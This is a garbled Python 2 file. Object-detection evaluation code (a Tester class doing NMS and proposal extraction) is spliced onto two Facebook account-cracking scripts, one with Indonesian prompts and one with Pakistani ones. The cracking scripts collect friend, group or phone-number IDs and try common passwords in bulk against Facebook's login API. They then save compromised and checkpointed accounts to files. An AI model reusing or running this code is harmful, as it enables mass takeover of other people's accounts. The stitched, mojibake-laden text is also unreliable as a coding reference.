โโโโโโโโโโโโโโโโโโโโโ
def the_io_thread_pool_init(parallelism=1): global the_io_thread_pool if the_io_thread_pool is None: the_io_thread_pool = ThreadPool(2 * parallelism) # make sure the threads are started up the_io_thread_pool.map(int, range(2 * parallelism))
class Tester(object): def __init__(self, module, imdb, roidb, test_iter, cfg, rcnn_output_names=None,rpn_output_names=None, logger=None, batch_size=None): self.test_iter = test_iter # Make sure that iterator is instnace of Prefetching iterator if test_iter and not isinstance(test_iter, PrefetchingIter): self.test_iter = PrefetchingIter(self.test_iter) self.scale = test_iter.test_scale self.cfg = cfg self.module = module if test_iter: self.data_names = [k[0] for k in test_iter.provide_data_single] self.rcnn_output_names = rcnn_output_names if not self.rcnn_output_names: self.rcnn_output_names = { 'cls' : 'cls_prob_reshape_output', 'bbox': 'bbox_pred_reshape_output', 'im_ids': 'im_ids' } self.rpn_output_names = rpn_output_names if not self.rpn_output_names: self.rpn_output_names = { 'scores' : 'rois_score', 'rois': 'rois_output', 'im_ids': 'im_ids' } self.logger = logger self.result_path = imdb.result_path self.num_classes = imdb.num_classes self.class_names = imdb.classes print self.class_names self.num_images = len(roidb) self.imdb_name = imdb.name self.nms_worker = nms_worker(cfg.TEST.NMS, cfg.TEST.NMS_SIGMA) self.batch_size = batch_size self.roidb = roidb self.verbose = len(roidb) > 1 self.thread_pool = None if not self.batch_size: self.batch_size = self.cfg.TEST.BATCH_IMAGES def forward(self, batch): self.module.forward(batch, is_train=False) return [dict(zip(self.module.output_names, i)) for i in zip(*self.module.get_outputs(merge_multi_context=False))] def get_proposals(self, batch, scales): data = dict(zip(self.data_names, batch.data)) outputs = self.forward(batch) scores, rois = [], [] im_shapes = np.array([im.shape[-2:] for im in data['data']]).reshape(-1, self.batch_size, 2) im_ids = np.array([], dtype=int) for i, (gpu_out, gpu_scales, gpu_shapes) in enumerate(zip(outputs, scales, im_shapes)): gpu_rois = gpu_out[self.rpn_output_names['rois']].asnumpy() # Reshape crois nper_gpu = gpu_rois.shape[0] / self.batch_size gpu_scores = gpu_out[self.rpn_output_names['scores']].asnumpy() im_ids = np.hstack((im_ids, gpu_out[self.rpn_output_names['im_ids']].asnumpy().astype(int))) for idx in range(self.batch_size): cids = np.where(gpu_rois[:, 0] == idx)[0] assert len(cids) == nper_gpu, 'The number of rois per GPU should be fixed!' crois = gpu_rois[cids, 1:]/gpu_scales[idx] cscores = gpu_scores[cids] # Store predictions scores.append(cscores) rois.append(crois) return scores, rois, data, im_ids def detect(self, batch, scales): data = dict(zip(self.data_names, batch.data)) outputs = self.forward(batch) scores, preds = [], [] im_shapes = np.array([im.shape[-2:] for im in data['data']]).reshape(-1, self.batch_size, 2) im_ids = np.array([], dtype=int) for i, (gpu_out, gpu_scales, gpu_shapes) in enumerate(zip(outputs, scales, im_shapes)): gpu_rois = gpu_out[self.rpn_output_names['rois']].asnumpy() # Reshape crois nper_gpu = gpu_rois.shape[0] / self.batch_size gpu_scores = gpu_out[self.rcnn_output_names['cls']].asnumpy() gpu_deltas = gpu_out[self.rcnn_output_names['bbox']].asnumpy() im_ids = np.hstack((im_ids, gpu_out[self.rcnn_output_names['im_ids']].asnumpy().astype(int))) for idx in range(self.batch_size): cids = np.where(gpu_rois[:, 0] == idx)[0] assert len(cids) == nper_gpu, 'The number of rois per GPU should be fixed!' crois = gpu_rois[cids, 1:] cscores = gpu_scores[idx] cdeltas = gpu_deltas[idx] # Apply deltas and clip predictions cboxes = bbox_pred(crois, cdeltas) cboxes = clip_boxes(cboxes, gpu_shapes[idx]) # Re-scale boxes cboxes = cboxes / gpu_scales[idx] # Store predictions scores.append(cscores) preds.append(cboxes) return scores, preds, data, im_ids def set_scale(self, scale): if isinstance(self.test_iter, PrefetchingIter): self.test_iter.iters[0].set_scale(scale) else: self.test_iter.set_scale(scale) self.test_iter.reset() def show_info(self, print_str): print(print_str) if self.logger: self.logger.info(print_str) def aggregate_rpn(self, scale_cls_dets, vis=False, cache_name='cache', vis_path=None, vis_name=None, pre_nms_db_divide=10, vis_ext='.png'): n_scales = len(scale_cls_dets) assert n_scales == len(self.cfg.TEST.VALID_RANGES), 'A valid range should be specified for each test scale' all_boxes = [[] for _ in range(self.num_images)] nms_pool = Pool(32) if len(scale_cls_dets) > 1: self.show_info('Aggregating detections from multiple scales and applying NMS...') else: self.show_info('Performing NMS on detections...') # Apply ranges and store detections per category parallel_nms_args = [[] for _ in range(pre_nms_db_divide)] n_roi_per_pool = math.ceil(self.num_images/float(pre_nms_db_divide)) for i in range(self.num_images): agg_dets = np.empty((0,5),dtype=np.float32) for all_cls_dets, valid_range in zip(scale_cls_dets, self.cfg.TEST.VALID_RANGES): cls_dets = all_cls_dets[i] heights = cls_dets[:, 2] - cls_dets[:, 0] widths = cls_dets[:, 3] - cls_dets[:, 1] areas = widths * heights #print 'areas', areas lvalid_ids = np.where(areas > valid_range[0]*valid_range[0])[0] if valid_range[0] > 0 else \ np.arange(len(areas)) uvalid_ids = np.where(areas <= valid_range[1]*valid_range[1])[0] if valid_range[1] > 0 else \ np.arange(len(areas)) valid_ids = np.intersect1d(lvalid_ids,uvalid_ids) cls_dets = cls_dets[valid_ids, :] if len(valid_ids) > 0 else cls_dets print 'cls_dets', i, valid_range, cls_dets.shape agg_dets = np.vstack((agg_dets, cls_dets)) parallel_nms_args[int(i/n_roi_per_pool)].append(agg_dets) # Divide roidb and perform NMS in parallel to reduce the memory usage im_offset = 0 for part in tqdm(range(pre_nms_db_divide)): final_dets = nms_pool.map(self.nms_worker.worker, parallel_nms_args[part]) if len(final_dets) > 0: print 'final_dets', final_dets[0].shape all_boxes[im_offset] = final_dets[0] n_part_im = len(final_dets) im_offset += n_part_im nms_pool.close() # Limit number of detections to MAX_PER_IMAGE if requested and visualize if vis is True for i in range(self.num_images): if self.cfg.TEST.MAX_PER_IMAGE > 0: image_scores = np.hstack([all_boxes[i][:, -1]]) if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE: image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE] keep = np.where(all_boxes[i][:, -1] >= image_thresh)[0] all_boxes[i] = all_boxes[i][keep, :] if vis: visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if not os.path.isdir(visualization_path): os.makedirs(visualization_path) import cv2 im = cv2.cvtColor(cv2.imread(self.roidb[i]['image']), cv2.COLOR_BGR2RGB) visualize_dets(im, [[]] + [all_boxes[i]], 1.0, self.cfg.network.PIXEL_MEANS, ['BKG', 'FRG'], threshold=0.9, save_path=os.path.join(visualization_path, '{}{}'.format(vis_name if vis_name else i, vis_ext)), transform=False) if cache_name: cache_path = os.path.join(self.result_path, cache_name) if not os.path.isdir(cache_path): os.makedirs(cache_path) cache_path = os.path.join(cache_path, 'detections.pkl') self.show_info('Done! Saving detections into: {}'.format(cache_path)) with open(cache_path, 'wb') as detfile: cPickle.dump(all_boxes, detfile) return all_boxes def aggregate(self, scale_cls_dets, vis=False, cache_name='cache', vis_path=None, vis_name=None, pre_nms_db_divide=10, vis_ext='.png'): n_scales = len(scale_cls_dets) assert n_scales == len(self.cfg.TEST.VALID_RANGES), 'A valid range should be specified for each test scale' all_boxes = [[[] for _ in range(self.num_images)] for _ in range(self.num_classes)] nms_pool = Pool(32) if len(scale_cls_dets) > 1: self.show_info('Aggregating detections from multiple scales and applying NMS...') else: self.show_info('Performing NMS on detections...') # Apply ranges and store detections per category parallel_nms_args = [[] for _ in range(pre_nms_db_divide)] n_roi_per_pool = math.ceil(self.num_images/float(pre_nms_db_divide)) for i in range(self.num_images): for j in range(1, self.num_classes): agg_dets = np.empty((0,5),dtype=np.float32) for all_cls_dets, valid_range in zip(scale_cls_dets, self.cfg.TEST.VALID_RANGES): print all_cls_dets[0] cls_dets = all_cls_dets[j][i] heights = cls_dets[:, 2] - cls_dets[:, 0] widths = cls_dets[:, 3] - cls_dets[:, 1] areas = widths * heights #print 'areas', areas lvalid_ids = np.where(areas > valid_range[0]*valid_range[0])[0] if valid_range[0] > 0 else \ np.arange(len(areas)) uvalid_ids = np.where(areas <= valid_range[1]*valid_range[1])[0] if valid_range[1] > 0 else \ np.arange(len(areas)) valid_ids = np.intersect1d(lvalid_ids,uvalid_ids) cls_dets = cls_dets[valid_ids, :] if len(valid_ids) > 0 else cls_dets #print 'cls_dets', cls_dets agg_dets = np.vstack((agg_dets, cls_dets)) parallel_nms_args[int(i/n_roi_per_pool)].append(agg_dets) # Divide roidb and perform NMS in parallel to reduce the memory usage im_offset = 0 for part in tqdm(range(pre_nms_db_divide)): final_dets = nms_pool.map(self.nms_worker.worker, parallel_nms_args[part]) #print 'final_dets', final_dets n_part_im = int(len(final_dets)/(self.num_classes-1)) for i in range(n_part_im): for j in range(1, self.num_classes): all_boxes[j][im_offset+i] = final_dets[i*(self.num_classes-1)+(j-1)] im_offset += n_part_im nms_pool.close() # Limit number of detections to MAX_PER_IMAGE if requested and visualize if vis is True for i in range(self.num_images): if self.cfg.TEST.MAX_PER_IMAGE > 0: image_scores = np.hstack([all_boxes[j][i][:, -1] for j in range(1, self.num_classes)]) if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE: image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE] for j in range(1, self.num_classes): keep = np.where(all_boxes[j][i][:, -1] >= image_thresh)[0] all_boxes[j][i] = all_boxes[j][i][keep, :] if vis: visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if not os.path.isdir(visualization_path): os.makedirs(visualization_path) import cv2 im = cv2.cvtColor(cv2.imread(self.roidb[i]['image']), cv2.COLOR_BGR2RGB) visualize_dets(im, [[]] + [all_boxes[j][i] for j in range(1, self.num_classes)], 1.0, self.cfg.network.PIXEL_MEANS, self.class_names, threshold=0.5, save_path=os.path.join(visualization_path, '{}{}'.format(vis_name if vis_name else i, vis_ext)), transform=False) if cache_name: cache_path = os.path.join(self.result_path, cache_name) if not os.path.isdir(cache_path): os.makedirs(cache_path) cache_path = os.path.join(cache_path, 'detections.pkl') self.show_info('Done! Saving detections into: {}'.format(cache_path)) with open(cache_path, 'wb') as detfile: cPickle.dump(all_boxes, detfile) return all_boxes def get_detections(self, cls_thresh=1e-3, cache_name= 'cache', evaluate= False, vis=False, vis_path=None, vis_ext='.png'): all_boxes = [[[] for _ in range(self.num_images)] for _ in range(self.num_classes)] data_counter = 0 detect_time, post_time = 0, 0 if vis: visualization_path = vis_path if vis_path else os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if vis and not os.path.isdir(self.cfg.TEST.VISUALIZATION_PATH): os.makedirs(self.cfg.TEST.VISUALIZATION_PATH) for batch in self.test_iter: im_info = batch.data[1].asnumpy() scales = im_info[:,2].reshape(-1,self.batch_size) # Run detection on the batch stime = time.time() scores, boxes, data, im_ids = self.detect(batch, scales) detect_time += time.time() - stime stime = time.time() for i, (cscores, cboxes, im_id) in enumerate(zip(scores, boxes, im_ids)): parallel_nms_args = [] for j in range(1, self.num_classes): # Apply the score threshold inds = np.where(cscores[:, j] > cls_thresh)[0] #print cls_thresh, inds rem_scores = cscores[inds, j, np.newaxis] rem_boxes = cboxes[inds, 0:4] cls_dets = np.hstack((rem_boxes, rem_scores)) if evaluate or vis: parallel_nms_args.append(cls_dets) else: all_boxes[j][im_id] = cls_dets # Apply nms if evaluate or vis: if not self.thread_pool: self.thread_pool = ThreadPool(8) final_dets = self.thread_pool.map(self.nms_worker.worker, parallel_nms_args) for j in range(1, self.num_classes): all_boxes[j][im_id] = final_dets[j - 1] # Filter boxes based on max_per_image if needed if evaluate and self.cfg.TEST.MAX_PER_IMAGE: image_scores = np.hstack([all_boxes[j][im_id][:, -1] for j in range(1, self.num_classes)]) if len(image_scores) > self.cfg.TEST.MAX_PER_IMAGE: image_thresh = np.sort(image_scores)[-self.cfg.TEST.MAX_PER_IMAGE] for j in range(1, self.num_classes): keep = np.where(all_boxes[j][im_id][:, -1] >= image_thresh)[0] all_boxes[j][im_id] = all_boxes[j][im_id][keep, :] if vis: if not os.path.isdir(visualization_path): os.makedirs(visualization_path) visualize_dets(batch.data[0][i].asnumpy(), [[]]+[all_boxes[j][im_id] for j in range(1, self.num_classes)], im_info[i, 2], self.cfg.network.PIXEL_MEANS, self.class_names, threshold=0.5, save_path=os.path.join(visualization_path,'{}{}'.format(im_id, vis_ext))) data_counter += self.test_iter.get_batch_size() post_time += time.time() - stime if self.verbose: self.show_info('Tester: {}/{}, Detection: {:.4f}s, Post Processing: {:.4}s'.format(min(data_counter, self.num_images), self.num_images, detect_time / data_counter, post_time / data_counter )) if self.thread_pool: self.thread_pool.close() return all_boxes def extract_proposals(self, n_proposals=300, cache_name= 'cache', vis=False, vis_ext='.png'): all_boxes = [[] for _ in range(self.num_images)] data_counter = 0 detect_time, post_time = 0, 0 if vis and not os.path.isdir(self.cfg.TEST.VISUALIZATION_PATH): os.makedirs(self.cfg.TEST.VISUALIZATION_PATH) for batch in self.test_iter: im_info = batch.data[1].asnumpy() scales = im_info[:,2].reshape(-1,self.batch_size) # Run detection on the batch stime = time.time() scores, boxes, data, im_ids = self.get_proposals(batch, scales) detect_time += time.time() - stime stime = time.time() for i, (cscores, cboxes, im_id) in enumerate(zip(scores, boxes, im_ids)): print cscores.shape, cboxes.shape, im_id # Keep the requested number of rois rem_scores = cscores[0:n_proposals, np.newaxis] rem_boxes = cboxes[0:n_proposals, 0:4] cls_dets = np.hstack((rem_boxes, rem_scores)).astype(np.float32) if vis: visualization_path = os.path.join(self.cfg.TEST.VISUALIZATION_PATH, cache_name) if not os.path.isdir(visualization_path): os.makedirs(visualization_path) visualize_dets(batch.data[0][i].asnumpy(), [[]]+[cls_dets], im_info[i, 2], self.cfg.network.PIXEL_MEANS, ['__background__','object'], threshold=0.5, save_path=os.path.join(visualization_path,'{}{}'.format(im_id, vis_ext))) all_boxes[im_id] = cls_dets data_counter += self.test_iter.get_batch_size() post_time += time.time() - stime self.show_info('Tester: {}/{}, Forward: {:.4f}s, Post Processing: {:.4}s'.format(min(data_counter, self.num_images), self.num_images, detect_time / data_counter, post_time / data_counter )) cache_path = os.path.join(self.result_path, cache_name) if not os.path.isdir(cache_path): os.makedirs(cache_path) cache_path=os.path.join(cache_path,'proposals.pkl') self.show_info('Done! Saving detections into: {}'.format(cache_path)) with open(cache_path, 'wb') as detfile: cPickle.dump(all_boxes, detfile) #print all_boxes return all_boxes
def pilih_super(): peak = raw_input("\n\033[1;97m >>> \033[1;97m") if peak =="": print "\033[1;96m[!] \x1b[1;91mIsi yang benar" pilih_super() elif peak =="1": os.system('clear') print logo print 42*"\033[1;96m=" jalan('\033[1;96m[โบ] \033[1;93mMengambil ID \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo print 42*"\033[1;96m=" idt = raw_input("\033[1;96m[+] \033[1;93mMasukan ID teman \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;96m[\033[1;97mโ\033[1;96m] \033[1;93mNama teman\033[1;91m :\033[1;97m "+op["name"] except KeyError: print"\033[1;96m[!] \x1b[1;91mTeman tidak ditemukan!" raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super() jalan('\033[1;96m[โบ] \033[1;93mMengambil ID \033[1;97m...') r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="3": os.system('clear') print logo print 42*"\033[1;96m=" idg=raw_input('\033[1;96m[+] \033[1;93mMasukan ID group \033[1;91m:\033[1;97m ') try: r=requests.get('https://graph.facebook.com/group/?id='+idg+'&access_token='+toket) asw=json.loads(r.text) print"\033[1;96m[\033[1;97mโ\033[1;96m] \033[1;93mNama group \033[1;91m:\033[1;97m "+asw['name'] except KeyError: print"\033[1;96m[!] \x1b[1;91mGroup tidak ditemukan" raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super() jalan('\033[1;96m[โบ] \033[1;93mMengambil ID \033[1;97m...') re=requests.get('https://graph.facebook.com/'+idg+'/members?fields=name,id&limit=999999999&access_token='+toket) s=json.loads(re.text) for p in s['data']: id.append(p['id']) elif peak =="4": os.system('clear') print logo print 42*"\033[1;96m=" try: idlist = raw_input('\x1b[1;96m[+] \x1b[1;93mMasukan nama file \x1b[1;91m: \x1b[1;97m') for line in open(idlist,'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;96m[!] \x1b[1;91mFile tidak ditemukan' raw_input('\n\x1b[1;96m[ \x1b[1;97mKembali \x1b[1;96m]') super() elif peak =="0": menu() else: print "\033[1;96m[!] \x1b[1;91mIsi yang benar" pilih_super() print "\033[1;96m[+] \033[1;93mTotal ID \033[1;91m: \033[1;97m"+str(len(id)) jalan('\033[1;96m[โบ] \033[1;93mStart \033[1;97m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;96m[\033[1;97mโธ\033[1;96m] \033[1;93mCrack \033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z') print 42*"\033[1;96m=" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = b['first_name']+'12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['last_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass3 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = 'Bangsat' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass4 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = 'Sayang' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass5 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = 'Kontol' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass6 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = 'Anjing' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mBerhasil\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCekpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass7 cek = open("out/super_cp.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print 42*"\033[1;96m=" print '\033[1;96m[\033[1;97mโ\033[1;96m] \033[1;92mSelesai \033[1;97m....' print"\033[1;96m[+] \033[1;92mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;92m"+str(len(oks))+"\033[1;97m/\033[1;93m"+str(len(cekpoint)) print("\033[1;96m[+] \033[1;92mCP File tersimpan \033[1;91m: \033[1;97mout/super_cp.txt") raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]") super()
def action(): peak = raw_input('\n\033[1;97mCHOOSE:\033[1;97m') if peak =='': print '[!] Fill In Correctly' action() elif peak =="1": os.system("clear") print logo2 print "Enter any Pakistan Mobile code Number"+'\n' print 'Type 1 To 49 for clone' print 'telenor,jazz,zong,warid' try: c = raw_input("\033[1;97mCHOOSE : ") k="03" idlist = ('.txt') for line in open(idlist,"r").readlines(): id.append(line.strip()) except IOError: print ("[!] File Not Found") raw_input("\n[ Back ]") blackmafiax() elif peak =='0': login() else: print '[!] Fill In Correctly' action() print 50* '\033[1;94m-' xxx = str(len(id)) jalan ('\033[1;91m Total ids number: '+xxx) jalan ('\033[1;92mCode you choose: '+c) jalan ("\033[1;93mWait A While Start Cracking...") jalan ("\033[1;94mTo Stop Process Press Ctrl+z") print 50* '\033[1;97m-' def main(arg): global cpb,oks user = arg try: os.mkdir('save') except OSError: pass try: pass1 = user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass1 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass1+'\n') okb.close() oks.append(c+user+pass1) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(CP) ' + k + c + user + ' | ' + pass1 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass1+'\n') cps.close() cpb.append(c+user+pass1) else: pass2 = k + c + user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass2 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass2+'\n') okb.close() oks.append(c+user+pass2) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(CP) ' + k + c + user + ' | ' + pass2 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass2+'\n') cps.close() cpb.append(c+user+pass2) else: pass3="Pakistan123" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass3 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass3+'\n') okb.close() oks.append(c+user+pass3) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(OHH NO) ' + k + c + user + ' | ' + pass3 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass3+'\n') cps.close() cpb.append(c+user+pass3) else: pass4="usman12345" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass4 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass4+'\n') okb.close() oks.append(c+user+pass4) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(OHH NO) ' + k + c + user + ' | ' + pass4 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass4+'\n') cps.close() cpb.append(c+user+pass4) else: pass5="786786" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Enjoy) ' + k + c + user + ' | ' + pass5 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass5+'\n') okb.close() oks.append(c+user+pass5) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(OHH NO) ' + k + c + user + ' | ' + pass5 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass5+'\n') cps.close() cpb.append(c+user+pass5) except: pass p = ThreadPool(30) p.map(main, id) print 50* '\033[1;91m-' print 'Process Has Been Completed ...' print 'Total Online/Offline : '+str(len(oks))+'/'+str(len(cpb)) print('Cloned Accounts Has Been Saved : save/cloned.txt') jalan("Note : Your Offline account Will Open after 10 to 20 days") print '' print """ โโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ 